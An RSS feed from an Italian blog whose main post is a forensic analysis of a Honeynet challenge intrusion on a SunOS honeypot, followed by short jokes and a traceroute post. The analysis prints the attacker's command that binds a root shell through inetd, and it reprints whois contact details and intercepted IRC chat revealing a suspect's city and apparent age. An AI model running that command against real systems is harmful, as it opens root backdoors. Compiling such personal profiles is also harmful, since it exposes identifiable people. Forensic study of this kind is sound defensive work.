<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Una vita da... &#187; nerd</title>
	<atom:link href="http://www.cuore.org/category/nerd/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cuore.org</link>
	<description></description>
	<lastBuildDate>Tue, 27 Jul 2010 11:03:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Incident Analysis</title>
		<link>http://www.cuore.org/incident-analysis/</link>
		<comments>http://www.cuore.org/incident-analysis/#comments</comments>
		<pubDate>Sat, 27 Feb 2010 13:11:48 +0000</pubDate>
		<dc:creator>luca</dc:creator>
				<category><![CDATA[nerd]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[informatica]]></category>
		<category><![CDATA[lamer]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.cuore.org/?p=1245</guid>
		<description><![CDATA[Facendo ordine tra i miei documenti ho ritrovo questa analisi che avevo fatto con un amico per un contest su honeynet e mi è venuta voglia di pubblicarla  
&#8212;[ Getting start
To start analysis we've downloaded the log files day1.log.gz and
day3.log.gz from http://project.honeynet.org/scans/scan28/ then
we checked for their md5sum and finally we've decompressed them.
$ wget http://project.honeynet.org/scans/scan28/day1.log.gz
--22:12:30-- [...]]]></description>
			<content:encoded><![CDATA[<p>Facendo ordine tra i miei documenti ho ritrovo questa analisi che avevo fatto con un amico per un contest su honeynet e mi è venuta voglia di pubblicarla <img src='http://www.cuore.org/wp-includes/images/smilies/1.gif' alt=':)' class='wp-smiley' /> </p>
<p>&#8212;[ Getting start</p>
<p>To start analysis we've downloaded the log files day1.log.gz and<br />
day3.log.gz from http://project.honeynet.org/scans/scan28/ then<br />
we checked for their md5sum and finally we've decompressed them.</p>
<p>$ wget http://project.honeynet.org/scans/scan28/day1.log.gz<br />
--22:12:30--  http://project.honeynet.org/scans/scan28/day1.log.gz<br />
           => `day1.log.gz'<br />
Resolving project.honeynet.org... done.<br />
Connecting to project.honeynet.org[63.107.222.112]:80&#8230; connected.<br />
<acronym title="HyperText Transfer Protocol">HTTP</acronym> request sent, awaiting response&#8230; 200 OK<br />
Length: 2,885,991 [application/x-gzip]</p>
<p>100%[====================================>] 2,885,991      7.87K/s<br />
ETA 00:00</p>
<p>22:18:31 (7.87 <acronym title="Kilobyte">KB</acronym>/s) &#8211; `day1.log.gz&#8217; saved [2885991/2885991]</p>
<p>$ wget http://project.honeynet.org/scans/scan28/day3.log.gz<br />
&#8211;22:20:15&#8211;  http://project.honeynet.org/scans/scan28/day3.log.gz<br />
           => `day3.log.gz&#8217;<br />
Resolving project.honeynet.org&#8230; done.<br />
Connecting to project.honeynet.org[63.107.222.112]:80&#8230; connected.<br />
<acronym title="HyperText Transfer Protocol">HTTP</acronym> request sent, awaiting response&#8230; 200 OK<br />
Length: 3,474,770 [application/x-gzip]</p>
<p>100%[====================================>] 3,474,770     27.22K/s<br />
ETA 00:00</p>
<p>22:22:21 (27.22 <acronym title="Kilobyte">KB</acronym>/s) &#8211; `day3.log.gz&#8217; saved [3474770/3474770]</p>
<p>$ md5sum day1.log.gz<br />
79e5871791542c8f38dd9cee2b2bc317  day1.log.gz<br />
$ md5sum day3.log.gz<br />
af8ab95f41530fe3561b506b422ed636  day3.log.gz<br />
$ gzip -d day1.log.gz<br />
$ gzip -d day3.log.gz</p>
<p>&#8212;[ Honeypot's <acronym title="Operating System">OS</acronym></p>
<p>The operating system of honeypot is a SunOS, we can deduce it in<br />
some different ways. Many hints was given by attacker, infact he had<br />
downloaded from the network a series of tools for SunOS.<br />
We can clearly see some binaries like "solbnc" and "ipv6sun" by watching<br />
day1.log with ethereal.<br />
Another way to deduce was offered again by attacker who<br />
downloaded some patches for the system from sunsolve.<br />
The easiest way was another time given by attacker:</p>
<p>17:36:37.972605 61-219-90-180.HINET-IP.hinet.net.56712 ><br />
192.168.100.28.ingreslock: P 1:209(208) ack 1 win 5840<br />
<nop ,nop,timestamp<br />
48511171 11<br />
3868611> (DF)<br />
0x0000   4500 0104 d486 4000 2c06 30c9 3ddb 5ab4        E.....@.,.0.=.Z.<br />
0x0010   c0a8 641c dd88 05f4 805b ec2e ba6d 43c2        ..d......[...mC.<br />
0x0020   8018 16d0 104d 0000 0101 080a 02e4 38c3        .....M........8.<br />
0x0030   06c9 7f43 756e 616d 6520 2d61 3b6c 7320        ...Cuname.-a;ls.<br />
0x0040   2d6c 202f 636f 7265 202f 7661 722f 6474        -l./core./var/dt<br />
0x0050   2f74 6d70 2f44 5453 5043 442e 6c6f 673b        /tmp/DTSPCD.log;<br />
0x0060   5041 5448 3d2f 7573 722f 6c6f 6361 6c2f        PATH=/usr/local/<br />
0x0070   6269 6e3a 2f75 7372 2f62 696e 3a2f 6269        bin:/usr/bin:/bi<br />
0x0080   6e3a 2f75 7372 2f73 6269 6e3a 2f73 6269        n:/usr/sbin:/sbi<br />
0x0090   6e3a 2f75 7372 2f63 6373 2f62 696e 3a2f        n:/usr/ccs/bin:/<br />
0x00a0   7573 722f 676e 752f 6269 6e3b 6578 706f        usr/gnu/bin;expo<br />
0x00b0   7274 2050 4154 483b 6563 686f 2022 4244        rt.PATH;echo."BD<br />
0x00c0   2050 4944 2873 293a 2022 6070 7320 2d66        .PID(s):."`ps.-f<br />
0x00d0   6564 7c67 7265 7020 2720 2d73 202f 746d        ed|grep.'.-s./tm<br />
0x00e0   702f 7827 7c67 7265 7020 2d76 2067 7265        p/x'|grep.-v.gre<br />
0x00f0   707c 6177 6b20 277b 7072 696e 7420 2432        p|awk.'{print.$2<br />
0x0100   7d27 600a                                      }'`.<br />
17:36:38.102597 192.168.100.28.ingreslock ><br />
61-219-90-180.HINET-<acronym title="Internet Protocol">IP</acronym>.hinet.net.56712: P 3:167(164) ack 209 win 24616<br />
</nop><nop ,nop,timestamp 11386865<br />
7 48511194> (DF)<br />
0x0000   4500 00d8 c8a3 4000 4006 28d8 c0a8 641c        E.....@.@.(...d.<br />
0x0010   3ddb 5ab4 05f4 dd88 ba6d 43c4 805b ecfe        =.Z......mC..[..<br />
0x0020   8018 6028 cf9c 0000 0101 080a 06c9 7f71        ..`(...........q<br />
0x0030   02e4 38da 5375 6e4f 5320 7a6f 6265 7269        ..8.SunOS.zoberi<br />
0x0040   7573 2035 2e38 2047 656e 6572 6963 5f31        us.5.8.Generic_1<br />
0x0050   3038 3532 382d 3039 2073 756e 3475 2073        08528-09.sun4u.s<br />
0x0060   7061 7263 2053 554e 572c 556c 7472 612d        parc.SUNW,Ultra-<br />
0x0070   355f 3130 0a2f 636f 7265 3a20 4e6f 2073        5_10./core:.No.s<br />
0x0080   7563 6820 6669 6c65 206f 7220 6469 7265        uch.file.or.dire<br />
0x0090   6374 6f72 790a 2f76 6172 2f64 742f 746d        ctory./var/dt/tm<br />
0x00a0   702f 4454 5350 4344 2e6c 6f67 3a20 4e6f        p/DTSPCD.log:.No<br />
0x00b0   2073 7563 6820 6669 6c65 206f 7220 6469        .such.file.or.di<br />
0x00c0   7265 6374 6f72 790a 4244 2050 4944 2873        rectory.BD.PID(s<br />
0x00d0   293a 2031 3737 330a                            ):.1773.</p>
<p>we can clearly see the "uname -a" output: "SunOS zoberius 5.8<br />
Generic_108528-09 sun4u sparc SUNW,Ultra-5_10"</p>
<p>We used passive fingerprinting of the server's packets by obtaining<br />
"SunOS 5.8 / 6" as result</p>
<p>Reassuming:</p>
<p>OPERATING SYSTEM    : SunOS zoberius 5.8 Generic_108528-09 sun4u sparc<br />
		      SUNW,Ultra-5_10</p>
<p><acronym title="Internet Protocol">IP</acronym>		    : 192.168.100.28 </p>
<p>---[ Break in</p>
<p>To break in the attacker has taken advantage of a vulnerability present<br />
in CDE (Common Desktop Environment), the default X Window System <acronym title="Graphical User Interface">GUI</acronym><br />
environment of SunOS. Infact the CDE Subprocess Control Server daemon is<br />
vulnerable to a buffer overflow that can be exploited just sending a<br />
particular client request. Once exploited the attacker can execute<br />
arbitrary commands on the system with superuser privileges.<br />
The dtspcd is configured to run on port 6112/tcp, and a typical inetd<br />
configuration is the following:</p>
<p>dtspc stream tcp nowait root /usr/dt/bin/dtspcd /usr/dt/bin/dtspcd</p>
<p>In day1.log we can observe a series of connections at port 6122/tcp,<br />
probably that connections were the specially crafted CDE client request<br />
used to exploit the service, followed by an exchange of datas on<br />
the dtspc ports.</p>
<p>0000  08 00 20 d1 76 19 00 07  ec b2 d0 0a 08 00 45 00   .. .v... ......E.<br />
0010  00 3c 1b ca 40 00 2c 06  ea 4d 3d db 5a b4 c0 a8   .< ..@.,. .M=.Z...<br />
0020  64 1c dc 4f 17 e0 80 39  28 15 00 00 00 00 a0 02   d..O...9 (.......<br />
0030  16 d0 15 51 00 00 02 04  05 b4 04 02 08 0a 02 e4   ...Q.... ........<br />
0040  33 df 00 00 00 00 01 03  03 00                     3....... ..      </p>
<p>0000  00 07 ec b2 d0 0a 08 00  20 d1 76 19 08 00 45 00   ........  .v...E.<br />
0010  00 40 c8 93 40 00 40 06  29 80 c0 a8 64 1c 3d db   .@..@.@. )...d.=.<br />
0020  5a b4 17 e0 dc 4f ba 39  4a 1e 80 39 28 16 b0 12   Z....O.9 J..9(...<br />
0030  60 28 34 4b 00 00 01 01  08 0a 06 c9 7a 75 02 e4   `(4K.... ....zu..<br />
0040  33 df 01 03 03 00 01 01  04 02 02 04 05 b4         3....... ......  </p>
<p>As supposed, in the stream we can see clearly the exploit at work and we<br />
can obtain some important information about the arbitrary executing code:</p>
<p>"ksh    -c  echo "ingreslock stream tcp nowait root /bin/sh sh<br />
-i">/tmp/x;/usr/sbin/inetd -s /tmp/x;sleep 10;/bin/rm -f /tmp/x"</p>
<p>0530  ff ec 82 10 20 0b 91 d0  20 08 2f 62 69 6e 2f 6b   .... ...  ./bin/k<br />
0540  73 68 20 20 20 20 2d 63  20 20 65 63 68 6f 20 22   sh    -c   echo "<br />
0550  69 6e 67 72 65 73 6c 6f  63 6b 20 73 74 72 65 61   ingreslo ck strea<br />
0560  6d 20 74 63 70 20 6e 6f  77 61 69 74 20 72 6f 6f   m tcp no wait roo<br />
0570  74 20 2f 62 69 6e 2f 73  68 20 73 68 20 2d 69 22   t /bin/s h sh -i"<br />
0580  3e 2f 74 6d 70 2f 78 3b  2f 75 73 72 2f 73 62 69   >/tmp/x; /usr/sbi<br />
0590  6e 2f 69 6e 65 74 64 20  2d 73 20 2f 74 6d 70 2f   n/inetd  -s /tmp/<br />
05a0  78 3b 73 6c 65 65 70 20  31 30 3b 2f 62 69 6e 2f   x;sleep  10;/bin/<br />
05b0  72 6d 20 2d 66 20 2f 74  6d 70 2f 78 20 41 41 41   rm -f /t mp/x AAA</p>
<p>Thanks to that information we know that the attacker will use a remote<br />
root shell binded on ingreslock by inetd. </p>
<p>---[ ICMP "skillz"</p>
<p>During the analysis we have noticed a large amount of ICMP<br />
(echo reply) packets with "skillz" in data field.  </p>
<p>0000  00 07 ec b2 d0 0a 08 00  20 d1 76 19 08 00 45 00   ........  .v...E.<br />
0010  04 14 40 5c 40 00 ff 01  87 f8 c0 a8 64 1c d9 74   ..@\@... ....d..t<br />
0020  26 0a 00 00 9c a3 1a 0a  00 00 00 00 00 00 00 00   &#038;....... ........<br />
0030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 73 6b   ........ ......sk<br />
0040  69 6c 6c 7a 00 00 00 00  00 00 00 00 00 00 00 00   illz.... ........</p>
<p>The ICMP packets with "skillz" in them are used by Stacheldrath<br />
D-DoS tool. In order to manage the DoSNet these ICMP are exchanged<br />
among all the hosts linked in it.<br />
This tool works on Linux and Solaris machines and can be used to perform<br />
ICMP, SYN and UDP flood attacks moreover the attacker can specify<br />
attack's duration and a range of ports for SYN flood.</p>
<p>---[ Sequences involved in the attack</p>
<p>The attack takes place in two days and follow these sequences:</p>
<p> [DAY 1]</p>
<p> &#8211; [1] Break in &#8211; The attacker gained a remote root shell by taking<br />
                  advantage of a vulnerability in dtspcd </p>
<p> &#8211; [2] Dummy hide &#8211; The attacker logged into the system thanks to the<br />
                    remote shell and created a home directory</p>
<p> &#8211; [3] Downloads &#8211; The attacker downloaded rootkit, utilities and patches<br />
                   from ftp and http sites </p>
<p> &#8211; [4] Rootkit &#8211; The attacker run a shell script for system patching<br />
                 and log cleaning. Log cleaning operations was done by<br />
                 erasing all the log files. The script had replaced<br />
                 also many unix utilities with trojaned versions</p>
<p> &#8211; [5] Backdoor &#8211; The attacker run a root backdoor using ssh</p>
<p> &#8211; [6] D-Dos &#8211; The attacker installed Stacheldrath client</p>
<p> &#8211; [7] Bouncer &#8211; The attacker installed an <acronym title="Internet Relay Chat">IRC</acronym> bouncer and connected it to<br />
             irc.stealth.net </p>
<p> [DAY 3]</p>
<p> &#8211; [1] Chat &#8211; The attacker chatted with BNC placed on some channels<br />
              in ircnet due to <acronym title="Internet Relay Chat">IRC</acronym> WAR actions</p>
<p> &#8211; [2] DOS &#8211; The attacker used the DoSNet against java.tiscalinet.it to<br />
             make a split for <acronym title="Internet Relay Chat">IRC</acronym> WAR actions </p>
<p> &#8211; [3] <acronym title="Secure Shell">SSH</acronym> &#8211; The attacker made a connection using <acronym title="Secure Shell">SSH</acronym> and modified the<br />
       TCP/<acronym title="Internet Protocol">IP</acronym> stack applying the IPv6 support  </p>
<p> &#8211; [4] Reboot &#8211; To make functional the IPv6 support the attacker rebooted<br />
                the system </p>
<p> &#8211; [5] IRC6 &#8211; The attacker made an ipv6 tunnel p-t-p and used the bnc<br />
              on irc6.edisontel.it  </p>
<p>&#8212;[ Martian Protocol</p>
<p>We don't expect to found the IPv6 protocol over an IPv4 network, in<br />
this circumstance the IPv6 stack was enabled by the attacker, he used<br />
this protocol to make <acronym title="Internet Relay Chat">IRC</acronym> connections using irc6.edisontel.it. The<br />
attacker is familiar to <acronym title="Internet Relay Chat">IRC</acronym> WAR and used a BNC in IPv6 to make it less<br />
exposed to DOS. We've identified this protocol because after the system<br />
reboot we've noticed a series of ipv6 connections on irc6.edisontel.it  </p>
<p>01:13:04.225906 ts.ipv6.tilab.com > 192.168.100.28: irc6.edisontel.com.ircd ><br />
2001:6b8:0:400::5d0e.32780: S 2882472594:2882472594(0) ack 53523087 win 5760<br />
<mss 1440,nop,nop,sackOK><br />
0x0000   4500 0058 7f78 0000 0b29 31a0 a3a2 aaad        E..X.x...)1.....<br />
0x0010   c0a8 641c 6000 0000 001c 063b 2001 0750        ..d.`......;...P<br />
0x0020   0002 0000 0202 a5ff fef0 aac7 2001 06b8        ................<br />
0x0030   0000 0400 0000 0000 0000 5d0e 1a0b 800c        ..........]&#8230;..<br />
0&#215;0040   abcf 0a92 0330 b28f 7012 1680 6596 0000        &#8230;..0..p&#8230;e&#8230;<br />
0&#215;0050   0204 05a0 0101 0402                            &#8230;&#8230;..</p>
<p>03:44:24.121894 ts.ipv6.tilab.com > 192.168.100.28: irc6.edisontel.com.ircd ><br />
2001:6b8:0:400::5d0e.32780: P 43131:43181(50) ack 7377 win 5760<br />
0&#215;0000   4500 0082 ef20 0000 0b29 c1cd a3a2 aaad        E&#8230;&#8230;..)&#8230;&#8230;<br />
0&#215;0010   c0a8 641c 6000 0000 0046 063b 2001 0750        ..d.`&#8230;.F.;&#8230;P<br />
0&#215;0020   0002 0000 0202 a5ff fef0 aac7 2001 06b8        &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0&#215;0030   0000 0400 0000 0000 0000 5d0e 1a0b 800c        &#8230;&#8230;&#8230;.]&#8230;..<br />
0&#215;0040   abcf b30d 0330 cf5f 5018 1680 84e8 0000        &#8230;..0._P&#8230;&#8230;.<br />
0&#215;0050   3a60 4f77 6e5a 6060 217e 6168 6161 4062        :`OwnZ&#8220;!~ahaa@b<br />
0&#215;0060   6163 6172 6469 2e6f 7261 6e67 652e 6f72        acardi.orange.or<br />
0&#215;0070   672e 7275 204e 4943 4b20 3a62 6f62 7a60        g.ru.NICK.:bobz`<br />
0&#215;0080   0d0a                                           ..</p>
<p>&#8212;[ System used</p>
<p>We have identified some different systems that have been involved in the<br />
attack. First of all we can identify the system used by the attacker to<br />
break into the honeynet. That system is a linux box (we check the<br />
operative system using the fingerprint) and its <acronym title="Internet Protocol">IP</acronym> is 61.219.90.180 .<br />
Investigating on that ip we can obtain some information about his owner:</p>
<p>$ whois -h whois.twnic.net 61.219.90.180<br />
Su, Yi Chun<br />
   No.37-24, Yu Ying Rd.<br />
   Changhua County Taiwan<br />
   TW</p>
<p>   Netname: SU-YI-CHUN-NET<br />
   Netblock: 61.219.90.128 &#8211; 61.219.90.191</p>
<p>   Administrator contact:<br />
      Yi Chun Su (YCS65-TW) mis@taiwang.org<br />
      TEL: +886-9-23-289293</p>
<p>   Technical contact:<br />
      Yi Chun Su (YCS65-TW) mis@taiwang.org<br />
      TEL: +886-9-23-289293</p>
<p>$   </p>
<p>The result of fingerprint is: Linux 2.4.0 &#8211; Linux 2.4.18</p>
<p>The second system identified is that of the attacker, we can see his<br />
evidences only when he established the connection to the <acronym title="Internet Relay Chat">IRC</acronym> BNC.<br />
The <acronym title="Internet Protocol">IP</acronym> of the attacker is 80.117.14.222 and investigating on it we can<br />
find that his connection is an ADSL provided by telecom italia:</p>
<p>bash-2.05b$ whois 80.117.14.222<br />
% This is the RIPE Whois server.<br />
% The objects are in RPSL format.<br />
%<br />
% Rights restricted by copyright.<br />
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html</p>
<p>inetnum:      80.117.0.0 &#8211; 80.117.255.255<br />
netname:      TINIT-ADSL-LITE<br />
descr:        Telecom Italia<br />
descr:        Accesso ADSL BBB<br />
country:      IT<br />
admin-c:      BS104-RIPE<br />
tech-c:       BS104-RIPE<br />
status:       ASSIGNED PA<br />
remarks:      Please send abuse notification to<br />
abuse-bbb@telecomitalia.it<br />
notify:       ripe-staff@telecomitalia.it<br />
mnt-by:       TIWS-MNT<br />
changed:      net_ti@telecomitalia.it 20020905<br />
source:       RIPE</p>
<p>route:        80.117.0.0/16<br />
descr:        INTERBUSINESS<br />
origin:       AS3269<br />
notify:       network@cgi.interbusiness.it<br />
mnt-by:       INTERB-MNT<br />
changed:      net_ti@telecomitalia.it  20011210<br />
source:       RIPE</p>
<p>person:       BBBEASYIP STAFF<br />
address:      Via Val Cannuta, 250<br />
address:      I-00100 Roma<br />
address:      Italy<br />
phone:        +39 06 36881<br />
e-mail:       ripe-staff@telecomitalia.it<br />
nic-hdl:      BS104-RIPE<br />
notify:       ripe-staff@telecomitalia.it<br />
changed:      net_ti@telecomitalia.it 20001019<br />
source:       RIPE</p>
<p>The result of fingerprint on the attacker system is: Windows XP Pro<br />
The third system is the server used by attacker for rootkit and<br />
utilities download. The <acronym title="Internet Protocol">IP</acronym> of that system is 62.211.66.16<br />
At the moment this <acronym title="Internet Protocol">IP</acronym> is assigned to telecom italia net (TIN)<br />
but maybe when take place the attack that <acronym title="Internet Protocol">IP</acronym> was assigned to XOOM<br />
free web hosting as we can see from the <acronym title="File Transfer Protocol">FTP</acronym> banner:</p>
<p>FTP: 220 services <acronym title="File Transfer Protocol">FTP</acronym> server (Version XOOM <acronym title="File Transfer Protocol">FTP</acronym> 1.24.3+local-release<br />
Fri Aug 28 15:52:40 PDT 1998) ready.</p>
<p>The result of the fingerprint on the system is: FreeBSD 4.5 </p>
<p>The latest system obviously is the honeynet, once the attacker<br />
break in, used it to make <acronym title="Internet Relay Chat">IRC</acronym> WAR and to make DoS over the<br />
net using Stacheldrath client. The honeynet system was linked to<br />
other two systems for D-DoS purposes:</p>
<p>61.134.3.11<br />
217.116.38.10</p>
<p>&#8212;[ Attacker Nationality</p>
<p>To identify the attacker nationality we have several ways. By watching the<br />
<acronym title="Internet Protocol">IP</acronym> and analyzing the whois output we can understand that the attacker is<br />
italian because he used an adsl provided by Telecom Italia. This<br />
kind of adsl is for home use and there are low probabilities that the<br />
attacker spoofed his ip to connect to the BNC<br />
The confirmation of attacker nationality comes just from BNC log, infact<br />
he talking on irc (in italian) told the name of the city where he lives:</p>
<p>: |AnDr34z|!~OmBr4@vhost.irc6.server.tb.ngnet.it PRIVMSG #bobz :ma tu di<br />
dove sei ,)<br />
: |AnDr34z|!~OmBr4@vhost.irc6.server.tb.ngnet.it PRIVMSG #bobz :che non<br />
ho ancora capito<br />
:bobz`!~ahaa@irc6.vhost.la PRIVMSG #bobz : Salerno</p>
<p>	Il pacchetto e&#8217; questo:</p>
<p>18:40:34.118157 irc-1.stealth.net.5555 > 192.168.100.28.32805: P<br />
46566:46617(51) ack 6890 win 8192 (DF)<br />
0&#215;0000   4500 005b 1b52 4000 3306 ec75 cefc c0c3        E..[.R@.3..u&#8230;.<br />
0&#215;0010   c0a8 641c 15b3 8025 c7a5 b672 fdbf cf3e        ..d&#8230;.%&#8230;r&#8230;><br />
0&#215;0020   5018 2000 ea48 0000 3a62 6f62 7a60 217e        P&#8230;.H..:bobz`!~<br />
0&#215;0030   6168 6161 4069 7263 362e 7668 6f73 742e        ahaa@irc6.vhost.<br />
0&#215;0040   6c61 2050 5249 564d 5347 2023 626f 627a        la.PRIVMSG.#bobz<br />
0&#215;0050   203a 5361 6c65 726e 6f0d 0a                    .:Salerno..</p>
<p>The attacker says that is from Salerno and standing by his <acronym title="Internet Protocol">IP</acronym> this is<br />
plausible. In another log the attacker reveal also his age</p>
<p>18:41:12.825540 irc-1.stealth.net.5555 > 192.168.100.28.32805: P<br />
47165:47214(49) ack 6979 win 8192 (DF)<br />
0&#215;0000   4500 0059 9e63 4000 3306 6966 cefc c0c3        E..Y.c@.3.if&#8230;.<br />
0&#215;0010   c0a8 641c 15b3 8025 c7a5 b8c9 fdbf cf97        ..d&#8230;.%&#8230;&#8230;..<br />
0&#215;0020   5018 2000 79f8 0000 3a62 6f62 7a60 217e        P&#8230;y&#8230;:bobz`!~<br />
0&#215;0030   6168 6161 4069 7263 362e 7668 6f73 742e        ahaa@irc6.vhost.<br />
0&#215;0040   6c61 2050 5249 564d 5347 2023 626f 627a        la.PRIVMSG.#bobz<br />
0&#215;0050   203a 616e 6e69 3f0d 0a                         .:anni?..</p>
<p>18:41:21.934924 irc-1.stealth.net.5555 > 192.168.100.28.32805: P<br />
47214:47289(75) ack 6979 win 8192 (DF)<br />
0&#215;0000   4500 0073 bddb 4000 3306 49d4 cefc c0c3        E..s..@.3.I&#8230;..<br />
0&#215;0010   c0a8 641c 15b3 8025 c7a5 b8fa fdbf cf97        ..d&#8230;.%&#8230;&#8230;..<br />
0&#215;0020   5018 2000 7100 0000 3a7c 416e 4472 3334        P&#8230;q&#8230;:|AnDr34<br />
0&#215;0030   7a7c 217e 4f6d 4272 3440 7668 6f73 742e        z|!~OmBr4@vhost.<br />
0&#215;0040   6972 6336 2e73 6572 7665 722e 7462 2e6e        irc6.server.tb.n<br />
0&#215;0050   676e 6574 2e69 7420 5052 4956 4d53 4720        gnet.it.PRIVMSG.<br />
0&#215;0060   2362 6f62 7a20 3a31 3720 7475 2076 657a        #bobz.:17.tu.vez<br />
0&#215;0070   3f0d 0a                                        ?..</p>
<p>18:41:28.584475 irc-1.stealth.net.5555 > 192.168.100.28.32805: P<br />
47289:47335(46) ack 6979 win 8192 (DF)<br />
0&#215;0000   4500 0056 d30e 4000 3306 34be cefc c0c3        E..V..@.3.4&#8230;..<br />
0&#215;0010   c0a8 641c 15b3 8025 c7a5 b945 fdbf cf97        ..d&#8230;.%&#8230;E&#8230;.<br />
0&#215;0020   5018 2000 5425 0000 3a62 6f62 7a60 217e        P&#8230;T%..:bobz`!~<br />
0&#215;0030   6168 6161 4069 7263 362e 7668 6f73 742e        ahaa@irc6.vhost.<br />
0&#215;0040   6c61 2050 5249 564d 5347 2023 626f 627a        la.PRIVMSG.#bobz<br />
0&#215;0050   203a 3135 0d0a                                 .:15..</p>
<p>&#8212;[ Conclusion</p>
<p>Standing by attack topology and modus operandi of the attacker we can<br />
suppose that the attacker is just a script-kiddie that wasn&#8217;t searching<br />
for any reserved information but he needed only a system to make <acronym title="Internet Relay Chat">IRC</acronym><br />
WAR. The attack was brutal and after it the system was full of anomalous<br />
things: the log was cleaned using the command &#8220;rm&#8221; by a script, was<br />
installed a non supported protocol by default (IPv6), the shell binded<br />
on a port not used on that system and so on.<br />
All that anomalies allow us to have notice of an intruder in the system<br />
that could be eventually pursued by law<br />
We was able to analyze all the sessions because are in clear text, the<br />
only one not analyzed is the ssh one.<br />
Teorically we can decode also that protocol because there<br />
are either the public and private keys in the rootkit.</p>
<p>&#8212;[ Notes</p>
<p>With a dumb IDS implementations the presence of unusual protocol should<br />
be a bypassing method of the IDS because if the protocol is unknown to<br />
IDS it doesn&#8217;t match any of the criteria implemented so no rules in the<br />
IDS can give us a response and no alarm is reported.</p>
<p>To decode the log in pcap format we used a series of tool for packet<br />
analysis: tcpdump, ethereal and tcpflow; standard shell tools for log<br />
parsing: strings, awk, ecc; and the whois to obtain informations on<br />
adress information</p>
<p>&#8212;[ The authors </p>
<p>Luca Memini<br />
Francesco Perna</mss></nop></p><img src="http://www.cuore.org/?ak_action=api_record_view&id=1245&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.cuore.org/incident-analysis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Informatici (ir)responsabili!</title>
		<link>http://www.cuore.org/informatici-irresponsabili/</link>
		<comments>http://www.cuore.org/informatici-irresponsabili/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 17:01:06 +0000</pubDate>
		<dc:creator>luca</dc:creator>
				<category><![CDATA[nerd]]></category>
		<category><![CDATA[ignoranti]]></category>
		<category><![CDATA[informatica]]></category>

		<guid isPermaLink="false">http://www.cuore.org/?p=1243</guid>
		<description><![CDATA[amico: &#8220;Che I.P. diamo al nuovo firewall per fare dei test?&#8221;
responsabile IT: &#8220;Ma mettigli il 300&#8243;]]></description>
			<content:encoded><![CDATA[<p><strong>amico</strong>: <em>&#8220;Che I.P. diamo al nuovo firewall per fare dei test?&#8221;</em><br />
<strong>responsabile IT</strong>: <em>&#8220;Ma mettigli il 300&#8243;</em></p><img src="http://www.cuore.org/?ak_action=api_record_view&id=1243&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.cuore.org/informatici-irresponsabili/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Freddure</title>
		<link>http://www.cuore.org/freddure/</link>
		<comments>http://www.cuore.org/freddure/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 11:08:56 +0000</pubDate>
		<dc:creator>luca</dc:creator>
				<category><![CDATA[nerd]]></category>
		<category><![CDATA[bofh]]></category>
		<category><![CDATA[informatica]]></category>
		<category><![CDATA[rofl]]></category>

		<guid isPermaLink="false">http://www.cuore.org/?p=1210</guid>
		<description><![CDATA[amico: Non naviga bene il mio pc, mi sa che dovrò reinstallare Internet.
Io: Tutta Internet?!?!?!]]></description>
			<content:encoded><![CDATA[<p><strong>amico</strong>: <em>Non naviga bene il mio pc, mi sa che dovrò reinstallare Internet.</em><br />
<strong>Io</strong>: <em>Tutta Internet?!?!?!</em></p><img src="http://www.cuore.org/?ak_action=api_record_view&id=1210&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.cuore.org/freddure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>censura di stato?</title>
		<link>http://www.cuore.org/censura-di-stato/</link>
		<comments>http://www.cuore.org/censura-di-stato/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 13:38:03 +0000</pubDate>
		<dc:creator>luca</dc:creator>
				<category><![CDATA[nerd]]></category>
		<category><![CDATA[censura]]></category>
		<category><![CDATA[routing]]></category>

		<guid isPermaLink="false">http://www.cuore.org/?p=1221</guid>
		<description><![CDATA[
Alla fine siamo giunti alla censura di stato a livello di routing&#8230; (quella a livello di dns era troppo stupida effettivamente)
root@nirvana ~ # traceroute www.thepiratebay.org
traceroute to www.thepiratebay.org (194.71.107.15), 30 hops max, 40 byte packets
1  * * *
2  host157-34-static.42-88-b.business.telecomitalia.it (88.42.34.157)  53.016 ms  56.297 ms  59.948 ms
3  r-mi225-vl19.opb.interbusiness.it (80.20.7.12)  63.885 ms  67.742 ms  71.181 ms
4  crs-mi003-r-mi225.opb.interbusiness.it (151.99.99.53)  [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter size-medium wp-image-1222" title="censura" src="http://www.cuore.org/wp-content/uploads/2010/02/censura-300x261.jpg" alt="" width="300" height="261" /></p>
<p>Alla fine siamo giunti alla censura di stato a livello di routing&#8230; (quella a livello di dns era troppo stupida effettivamente)</p>
<pre>root@nirvana ~ # traceroute www.thepiratebay.org
traceroute to www.thepiratebay.org (194.71.107.15), 30 hops max, 40 byte packets
1  * * *
2  host157-34-static.42-88-b.business.telecomitalia.it (88.42.34.157)  53.016 ms  56.297 ms  59.948 ms
3  r-mi225-vl19.opb.interbusiness.it (80.20.7.12)  63.885 ms  67.742 ms  71.181 ms
4  crs-mi003-r-mi225.opb.interbusiness.it (151.99.99.53)  74.871 ms  78.796 ms  82.104 ms
5  * * *
6  * * *
7  * * *
8  * * *
root@nirvana ~ # traceroute 194.71.107.16
